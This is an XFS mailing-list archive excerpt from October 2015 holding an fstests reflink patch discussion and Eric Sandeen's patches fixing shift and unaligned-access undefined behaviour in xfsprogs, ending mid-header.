<14883074.1444416375692.JavaMail.mdbodyespr@mdbodyapp2.mdbody.consonus.icentris.net> Date: Fri, 9 Oct 2015 12:46:15 -0600 (MDT) From: STEVECONDER Email Opt-Out To: xfs@oss.sgi.com Subject: Removed from list Mime-Version: 1.0 X-ASG-Orig-Subj: Removed from list Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail24.smtp124.consonus.rev.icentris.net[66.133.124.24] X-Barracuda-Start-Time: 1444416376 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23344 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Your email address, xfs@oss.sgi.com, will no longer receive email messages sent from STEVE CONDER < steveconder@beachbodycoach.com >. If you would like to receive email messages from STEVE CONDER < steveconder@beachbodycoach.com > again please visit http://beachbodycoach.com/esuite/url/646D3AC/333 From darrick.wong@oracle.com Fri Oct 9 13:58:12 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C14A57F7B for ; Fri, 9 Oct 2015 13:58:12 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3B5A0AC010 for ; Fri, 9 Oct 2015 11:58:12 -0700 (PDT) X-ASG-Debug-ID: 1444417089-04cb6c578666250001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id CfVJBlMwoAmAwrYr (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 09 Oct 2015 11:58:10 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t99Iw5E6026984 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 9 Oct 2015 18:58:05 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t99Iw3YP031027 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Fri, 9 Oct 2015 18:58:04 GMT Received: from abhmp0019.oracle.com (abhmp0019.oracle.com [141.146.116.25]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t99Iw3LG011430; Fri, 9 Oct 2015 18:58:03 GMT Received: from localhost (/71.198.20.188) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 09 Oct 2015 11:58:03 -0700 Date: Fri, 9 Oct 2015 11:58:02 -0700 From: "Darrick J. Wong" To: Ari Sundholm Cc: "fstests@vger.kernel.org" , "xfs@oss.sgi.com" , "linux-ext4@vger.kernel.org" , "Anna.Schumaker@netapp.com" , "linux-btrfs@vger.kernel.org" Subject: Re: [PATCH 03/12] generic/80[0-2]: support xfs in addition to btrfs Message-ID: <20151009185802.GF10397@birch.djwong.org> X-ASG-Orig-Subj: Re: [PATCH 03/12] generic/80[0-2]: support xfs in addition to btrfs References: <20151007051257.3260.73072.stgit@birch.djwong.org> <9163f8156b2742a0b003ba9fa0a26258@nebula-exfe-01.nebula.local> <1444307639.4004.17.camel@ari-lenovo> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1444307639.4004.17.camel@ari-lenovo> User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444417090 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23344 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Thu, Oct 08, 2015 at 03:33:59PM +0300, Ari Sundholm wrote: > On Wed, 2015-10-07 at 05:13 +0000, Darrick J. Wong wrote: > > Modify the reflink tests to support xfs. > > > > Signed-off-by: Darrick J. Wong > > --- > > common/rc | 37 +++++++++++++++++++++++++++++++++++++ > > tests/generic/800 | 2 +- > > tests/generic/801 | 2 +- > > tests/generic/802 | 2 +- > > 4 files changed, 40 insertions(+), 3 deletions(-) > > > > > > diff --git a/common/rc b/common/rc > > index 3e97060..7e2f140 100644 > > --- a/common/rc > > +++ b/common/rc > > @@ -1429,6 +1429,43 @@ _require_scratch_xfs_crc() > > umount $SCRATCH_MNT > > } > > > > +# this test requires the test fs support reflink... > > +# > > +_require_test_reflink() > > +{ > > + case $FSTYP in > > + xfs) > > + xfs_info "${TEST_DIR}" | grep reflink=1 -c -q || _notrun "Reflink not supported by this filesystem type: $FSTYP" > > + ;; > > + btrfs) > > + true > > + ;; > > + *) > > + _notrun "Reflink not supported by this filesystem type: $FSTYP" > > + ;; > > + esac > > +} > > + > > +# this test requires the scratch fs support reflink... > > +# > > +_require_scratch_reflink() > > +{ > > + case $FSTYP in > > + xfs) > > + _scratch_mkfs > /dev/null 2>&1 > > + _scratch_mount > > + xfs_info "${TEST_DIR}" | grep reflink=1 -c -q || _notrun "$FSTYP does not support reflink" > > ${SCRATCH_MNT}? Oops! Thank you for catching this. :) --D > > > + _scratch_unmount > > + ;; > > + btrfs) > > + true > > + ;; > > + *) > > + _notrun "Reflink not supported by this filesystem type: $FSTYP" > > + ;; > > + esac > > +} > > + > > # this test requires the bigalloc feature to be available in mkfs.ext4 > > # > > _require_ext4_mkfs_bigalloc() > > diff --git a/tests/generic/800 b/tests/generic/800 > > index a71f11a..954f39d 100755 > > --- a/tests/generic/800 > > +++ b/tests/generic/800 > > @@ -45,7 +45,7 @@ _cleanup() > > . common/filter > > > > # real QA test starts here > > -_supported_fs btrfs > > +_require_test_reflink > > _supported_os Linux > > > > _require_xfs_io_command "fiemap" > > diff --git a/tests/generic/801 b/tests/generic/801 > > index b21c44b..aedb6e9 100755 > > --- a/tests/generic/801 > > +++ b/tests/generic/801 > > @@ -45,7 +45,7 @@ _cleanup() > > . common/filter > > > > # real QA test starts here > > -_supported_fs btrfs > > +_require_test_reflink > > _supported_os Linux > > > > _require_xfs_io_command "fiemap" > > diff --git a/tests/generic/802 b/tests/generic/802 > > index afd8513..51d3414 100755 > > --- a/tests/generic/802 > > +++ b/tests/generic/802 > > @@ -43,7 +43,7 @@ _cleanup() > > . ./common/filter > > > > # real QA test starts here > > -_supported_fs btrfs > > +_require_test_reflink > > _supported_os Linux > > > > _require_xfs_io_command "fiemap" > > > > -- > > To unsubscribe from this list: send the line "unsubscribe fstests" in > > the body of a message to majordomo@vger.kernel.org > > More majordomo info at http://vger.kernel.org/majordomo-info.html > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From sandeen@sandeen.net Fri Oct 9 14:48:45 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6F5417F84 for ; Fri, 9 Oct 2015 14:48:45 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 54D30304039 for ; Fri, 9 Oct 2015 12:48:42 -0700 (PDT) X-ASG-Debug-ID: 1444420120-04cbb03f156aef0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id zsbH4Kt4JGDF5ELm for ; Fri, 09 Oct 2015 12:48:40 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 8EA8763C77A5 for ; Fri, 9 Oct 2015 14:48:40 -0500 (CDT) To: xfs@oss.sgi.com From: Eric Sandeen Subject: [PATCH 0/5 V2] fix (mostly) minor nits spotted by gcc sanitization Message-ID: <56181A17.9080503@sandeen.net> X-ASG-Orig-Subj: [PATCH 0/5 V2] fix (mostly) minor nits spotted by gcc sanitization Date: Fri, 9 Oct 2015 14:48:39 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1444420120 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23345 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- newer gcc supports -fsanitize=undefined, which spits out errors when the code does something ... undefined. These are a handful of the (IMHO) obvious and unobtrusive fixes that knock down the noise. One more patch than last time, found a couple things in metadump as well. Thanks, -Eric From sandeen@sandeen.net Fri Oct 9 14:49:27 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0A99D7F84 for ; Fri, 9 Oct 2015 14:49:27 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7F1D7AC004 for ; Fri, 9 Oct 2015 12:49:23 -0700 (PDT) X-ASG-Debug-ID: 1444420161-04cb6c578a67330001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 0dUvVuB6JhtfKkAX for ; Fri, 09 Oct 2015 12:49:21 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id CF93563C77A5 for ; Fri, 9 Oct 2015 14:49:21 -0500 (CDT) Subject: [PATCH 1/5] libxfs: avoid negative (and full-width) shifts in radix-tree.c To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 1/5] libxfs: avoid negative (and full-width) shifts in radix-tree.c References: <56181A17.9080503@sandeen.net> From: Eric Sandeen Message-ID: <56181A41.4040302@sandeen.net> Date: Fri, 9 Oct 2015 14:49:21 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <56181A17.9080503@sandeen.net> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1444420161 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23345 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Pull this commit over from the kernel, as libubsan spotted a bad shift at runtime: commit 430d275a399175c7c0673459738979287ec1fd22 Author: Peter Lund Date: Tue Oct 16 23:29:35 2007 -0700 avoid negative (and full-width) shifts in radix-tree.c Negative shifts are not allowed in C (the result is undefined). Same thing with full-width shifts. It works on most platforms but not on the VAX with gcc 4.0.1 (it results in an "operand reserved" fault). Shifting by more than the width of the value on the left is also not allowed. I think the extra '>> 1' tacked on at the end in the original code was an attempt to work around that. Getting rid of that is an extra feature of this patch. Here's the chapter and verse, taken from the final draft of the C99 standard ("6.5.7 Bitwise shift operators", paragraph 3): "The integer promotions are performed on each of the operands. The type of the result is that of the promoted left operand. If the value of the right operand is negative or is greater than or equal to the width of the promoted left operand, the behavior is undefined." Thank you to Jan-Benedict Glaw, Christoph Hellwig, Maciej Rozycki, Pekka Enberg, Andreas Schwab, and Christoph Lameter for review. Special thanks to Andreas for spotting that my fix only removed half the undefined behaviour. Signed-off-by: Peter Lund Signed-off-by: Eric Sandeen Reviewed-by: Brian Foster --- libxfs/radix-tree.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/libxfs/radix-tree.c b/libxfs/radix-tree.c index 4d44ab4..eef9c36 100644 --- a/libxfs/radix-tree.c +++ b/libxfs/radix-tree.c @@ -784,12 +784,14 @@ int radix_tree_tagged(struct radix_tree_root *root, unsigned int tag) static unsigned long __maxindex(unsigned int height) { - unsigned int tmp = height * RADIX_TREE_MAP_SHIFT; - unsigned long index = (~0UL >> (RADIX_TREE_INDEX_BITS - tmp - 1)) >> 1; - - if (tmp >= RADIX_TREE_INDEX_BITS) - index = ~0UL; - return index; + unsigned int width = height * RADIX_TREE_MAP_SHIFT; + int shift = RADIX_TREE_INDEX_BITS - width; + + if (shift < 0) + return ~0UL; + if (shift >= BITS_PER_LONG) + return 0UL; + return ~0UL >> shift; } static void radix_tree_init_maxindex(void) -- 2.6.1 From sandeen@sandeen.net Fri Oct 9 14:51:12 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7D17A7F84 for ; Fri, 9 Oct 2015 14:51:12 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6FA62304032 for ; Fri, 9 Oct 2015 12:51:12 -0700 (PDT) X-ASG-Debug-ID: 1444420270-04cbb03f126afb0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id z6EXoLuCHp77qmqU for ; Fri, 09 Oct 2015 12:51:10 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 5655863C77A5 for ; Fri, 9 Oct 2015 14:51:10 -0500 (CDT) Subject: [PATCH 2/5] xfs_repair: fix unaligned accesses To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 2/5] xfs_repair: fix unaligned accesses References: <56181A17.9080503@sandeen.net> From: Eric Sandeen Message-ID: <56181AAD.9080505@sandeen.net> Date: Fri, 9 Oct 2015 14:51:09 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <56181A17.9080503@sandeen.net> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1444420270 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23345 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This fixes some unaligned accesses spotted by libubsan in repair. See Documentation/unaligned-memory-access.txt in the kernel tree for why these can be a problem. Signed-off-by: Eric Sandeen --- V2: Add note about why ... Add another in libxfs_bmbt_disk_get_all Fix mistaken double-swap in dinode.c in original patch include/libxfs.h | 4 ++-- repair/dinode.c | 47 ++++++++++++++++++++++++----------------------- repair/prefetch.c | 4 ++-- 3 files changed, 28 insertions(+), 27 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index b1604e2..52fb483 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -206,8 +206,8 @@ libxfs_bmbt_disk_get_all( { struct xfs_bmbt_rec_host hrec; - hrec.l0 = be64_to_cpu(rp->l0); - hrec.l1 = be64_to_cpu(rp->l1); + hrec.l0 = get_unaligned_be64(&rp->l0); + hrec.l1 = get_unaligned_be64(&rp->l1); libxfs_bmbt_get_all(&hrec, irec); } diff --git a/repair/dinode.c b/repair/dinode.c index f78f907..f99cba3 100644 --- a/repair/dinode.c +++ b/repair/dinode.c @@ -960,15 +960,17 @@ _("bad numrecs 0 in inode %" PRIu64 " bmap btree root block\n"), * btree, we'd do it right here. For now, if there's a * problem, we'll bail out and presumably clear the inode. */ - if (!verify_dfsbno(mp, be64_to_cpu(pp[i]))) { - do_warn(_("bad bmap btree ptr 0x%llx in ino %" PRIu64 "\n"), - (unsigned long long) be64_to_cpu(pp[i]), lino); + if (!verify_dfsbno(mp, get_unaligned_be64(&pp[i]))) { + do_warn( +("bad bmap btree ptr 0x%" PRIx64 " in ino %" PRIu64 "\n"), + get_unaligned_be64(&pp[i]), lino); return(1); } - if (scan_lbtree(be64_to_cpu(pp[i]), level, scan_bmapbt, type, - whichfork, lino, tot, nex, blkmapp, &cursor, - 1, check_dups, magic, &xfs_bmbt_buf_ops)) + if (scan_lbtree(get_unaligned_be64(&pp[i]), level, scan_bmapbt, + type, whichfork, lino, tot, nex, blkmapp, + &cursor, 1, check_dups, magic, + &xfs_bmbt_buf_ops)) return(1); /* * fix key (offset) mismatches between the keys in root @@ -977,28 +979,27 @@ _("bad numrecs 0 in inode %" PRIu64 " bmap btree root block\n"), * blocks but the parent hasn't been updated */ if (!check_dups && cursor.level[level-1].first_key != - be64_to_cpu(pkey[i].br_startoff)) { + get_unaligned_be64(&pkey[i].br_startoff)) { if (!no_modify) { do_warn( - _("correcting key in bmbt root (was %llu, now %" PRIu64") in inode " - "%" PRIu64" %s fork\n"), - (unsigned long long) - be64_to_cpu(pkey[i].br_startoff), - cursor.level[level-1].first_key, - XFS_AGINO_TO_INO(mp, agno, ino), - forkname); +_("correcting key in bmbt root (was %" PRIu64 ", now %" PRIu64") in inode " + "%" PRIu64" %s fork\n"), + get_unaligned_be64(&pkey[i].br_startoff), + cursor.level[level-1].first_key, + XFS_AGINO_TO_INO(mp, agno, ino), + forkname); *dirty = 1; - pkey[i].br_startoff = cpu_to_be64( - cursor.level[level-1].first_key); + put_unaligned_be64( + cursor.level[level-1].first_key, + &pkey[i].br_startoff); } else { do_warn( - _("bad key in bmbt root (is %llu, would reset to %" PRIu64 ") in inode " - "%" PRIu64 " %s fork\n"), - (unsigned long long) - be64_to_cpu(pkey[i].br_startoff), - cursor.level[level-1].first_key, - XFS_AGINO_TO_INO(mp, agno, ino), - forkname); +_("bad key in bmbt root (is %" PRIu64 ", would reset to %" PRIu64 ") in inode " + "%" PRIu64 " %s fork\n"), + get_unaligned_be64(&pkey[i].br_startoff), + cursor.level[level-1].first_key, + XFS_AGINO_TO_INO(mp, agno, ino), + forkname); } } /* diff --git a/repair/prefetch.c b/repair/prefetch.c index 32ec55e..52238ca 100644 --- a/repair/prefetch.c +++ b/repair/prefetch.c @@ -330,7 +330,7 @@ pf_scanfunc_bmap( pp = XFS_BMBT_PTR_ADDR(mp, block, 1, mp->m_bmap_dmxr[1]); for (i = 0; i < numrecs; i++) { - dbno = be64_to_cpu(pp[i]); + dbno = get_unaligned_be64(&pp[i]); if (!verify_dfsbno(mp, dbno)) return 0; if (!pf_scan_lbtree(dbno, level, isadir, args, pf_scanfunc_bmap)) @@ -372,7 +372,7 @@ pf_read_btinode( pp = XFS_BMDR_PTR_ADDR(dib, 1, xfs_bmdr_maxrecs(dsize, 0)); for (i = 0; i < numrecs; i++) { - dbno = be64_to_cpu(pp[i]); + dbno = get_unaligned_be64(&pp[i]); if (!verify_dfsbno(mp, dbno)) break; if (!pf_scan_lbtree(dbno, level, isadir, args, pf_scanfunc_bmap)) -- 2.6.1 From sandeen@sandeen.net Fri Oct 9 14:52:18 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 64B747F88 for ; Fri, 9 Oct 2015 14:52:18 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5751E304032 for ; Fri, 9 Oct 2015 12:52:18 -0700 (PDT) X-ASG-Debug-ID: 1444420337-04cb6c578667460001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id GfrzXq6C3lnkdYEX for ; Fri, 09 Oct 2015 12:52:17 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 08C7163C77A5 for ; Fri, 9 Oct 2015 14:52:17 -0500 (CDT) Subject: [PATCH 3/5] xfs_logprint: fix some unaligned accesses To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 3/5] xfs_logprint: fix some unaligned accesses References: <56181A17.9080503@sandeen.net> From: Eric Sandeen Message-ID: <56181AF0.7090904@sandeen.net> Date: Fri, 9 Oct 2015 14:52:16 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <56181A17.9080503@sandeen.net> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1444420337 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23345 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- This routine had a fair bit of gyration to avoid unaligned accesses, but didn't fix them all. Fix some more spotted at runtime by libubsan. Signed-off-by: Eric Sandeen --- V2: Change variable scope, remove extraneous hunk logprint/log_misc.c | 21 +++++++++++++++------ 1 file changed, 15 insertions(+), 6 deletions(-) diff --git a/logprint/log_misc.c b/logprint/log_misc.c index d76145c..4cdcbec 100644 --- a/logprint/log_misc.c +++ b/logprint/log_misc.c @@ -243,9 +243,6 @@ int xlog_print_trans_buffer(char **ptr, int len, int *i, int num_ops) { xfs_buf_log_format_t *f; - xfs_agi_t *agi; - xfs_agf_t *agf; - xfs_disk_dquot_t *dq; xlog_op_header_t *head = NULL; int num, skip; int super_block = 0; @@ -325,7 +322,11 @@ xlog_print_trans_buffer(char **ptr, int len, int *i, int num_ops) } super_block = 0; } else if (be32_to_cpu(*(__be32 *)(*ptr)) == XFS_AGI_MAGIC) { - agi = (xfs_agi_t *)(*ptr); + struct xfs_agi *agi, agi_s; + + /* memmove because *ptr may not be 8-byte aligned */ + agi = &agi_s; + memmove(agi, *ptr, sizeof(struct xfs_agi)); printf(_("AGI Buffer: XAGI ")); /* * v4 filesystems only contain the fields before the uuid. @@ -375,7 +376,11 @@ xlog_print_trans_buffer(char **ptr, int len, int *i, int num_ops) } } } else if (be32_to_cpu(*(__be32 *)(*ptr)) == XFS_AGF_MAGIC) { - agf = (xfs_agf_t *)(*ptr); + struct xfs_agf *agf, agf_s; + + /* memmove because *ptr may not be 8-byte aligned */ + agf = &agf_s; + memmove(agf, *ptr, sizeof(struct xfs_agf)); printf(_("AGF Buffer: XAGF ")); /* * v4 filesystems only contain the fields before the uuid. @@ -408,7 +413,11 @@ xlog_print_trans_buffer(char **ptr, int len, int *i, int num_ops) be32_to_cpu(agf->agf_longest)); } } else if (be32_to_cpu(*(__be32 *)(*ptr)) == XFS_DQUOT_MAGIC) { - dq = (xfs_disk_dquot_t *)(*ptr); + struct xfs_disk_dquot *dq, dq_s; + + /* memmove because *ptr may not be 8-byte aligned */ + dq = &dq_s; + memmove(dq, *ptr, sizeof(struct xfs_disk_dquot)); printf(_("DQUOT Buffer: DQ ")); if (be32_to_cpu(head->oh_len) < sizeof(xfs_disk_dquot_t)) { -- 2.6.1 From sandeen@sandeen.net Fri Oct 9 14:53:03 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 36C267F8E for ; Fri, 9 Oct 2015 14:53:03 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id B7F4DAC001 for ; Fri, 9 Oct 2015 12:53:02 -0700 (PDT) X-ASG-Debug-ID: 1444420380-04cb6c578a674d0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id DSG4wY01Gec1fziq for ; Fri, 09 Oct 2015 12:53:01 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id DE9E161C0A7C for ; Fri, 9 Oct 2015 14:53:00 -0500 (CDT) Subject: [PATCH 4/5] xfs_metadump: Fix unaligned accesses To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 4/5] xfs_metadump: Fix unaligned accesses References: <56181A17.9080503@sandeen.net> From: Eric Sandeen Message-ID: <56181B1C.6030508@sandeen.net> Date: Fri, 9 Oct 2015 14:53:00 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: <56181A17.9080503@sandeen.net> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1444420380 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 